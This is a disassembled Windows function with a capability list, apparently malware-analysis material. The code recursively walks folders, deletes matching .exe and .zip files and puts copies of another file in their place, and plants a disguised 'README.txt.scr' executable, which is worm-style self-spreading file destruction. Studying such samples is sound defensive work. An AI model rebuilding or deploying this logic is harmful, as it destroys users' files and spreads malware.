Function at 0x402da0
Capabilities:
Copy file
Delete file
Enumerate files on windows
Enumerate files recursively
Set current directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x364
mov dword [ebp - 4], 0
push 0x104
push 0
lea eax, [ebp - 0x360]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x258]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x148]
push edx
push 0x40689c
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0xffffffff
je 0x403053
movsx eax, byte [ebp - 0x11c]
cmp eax, 0x2e
je 0x40302a
mov ecx, dword [ebp - 0x148]
and ecx, 0x10
mov dword [ebp - 0x148], ecx
je 0x402e49
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
cmp eax, 1
jne 0x402e44
call fcn.00402da0
push 0x4068a0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
jmp 0x40302a
lea eax, [ebp - 4]
push eax
lea ecx, [ebp - 0x258]
push ecx
push 0x104
lea edx, [ebp - 0x11c]
push edx
call dword [sym.imp.KERNEL32.dll_GetFullPathNameA]
test eax, eax
je 0x40302a
push str.Recycle.Bin
lea eax, [ebp - 0x258]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x40302a
lea ecx, [ebp - 0x258]
push ecx
lea edx, [ebp - 0x360]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x360]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
mov dword [ebp - 0x364], 0
jmp 0x402ec8
mov ecx, dword [ebp - 0x364]
add ecx, 1
mov dword [ebp - 0x364], ecx
cmp dword [ebp - 0x364], 8
jae 0x40302a
mov edx, dword [ebp - 0x364]
mov eax, dword [edx*4 + 0x409010]
push eax
lea ecx, [ebp - 0x360]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
je 0x403025
lea edx, [ebp - 0x360]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
je 0x403025
push str..exe
mov eax, dword [ebp - 0x14c]
push eax
call fcn.00401210
add esp, 8
test eax, eax
je 0x402f66
push 0x80
lea ecx, [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [ebp - 0x258]
push eax
call fcn.00402c80
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str..zip
lea ecx, [ebp - 0x360]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
je 0x402fbf
push 0x80
lea edx, [ebp - 0x258]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4068c0
lea ecx, [ebp - 0x258]
push ecx
call fcn.00402c80
push eax
call fcn.004054e0
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push str..rar
lea edx, [ebp - 0x360]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x40301d
push 0x80
lea eax, [ebp - 0x258]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x80
push str.README.txt.scr
call fcn.00402c80
push eax
lea edx, [ebp - 0x258]
push edx
call fcn.00403180
add esp, 0x10
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402eb9
lea eax, [ebp - 0x148]
push eax
mov ecx, dword [ebp - 0x150]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402e01
mov edx, dword [ebp - 0x150]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret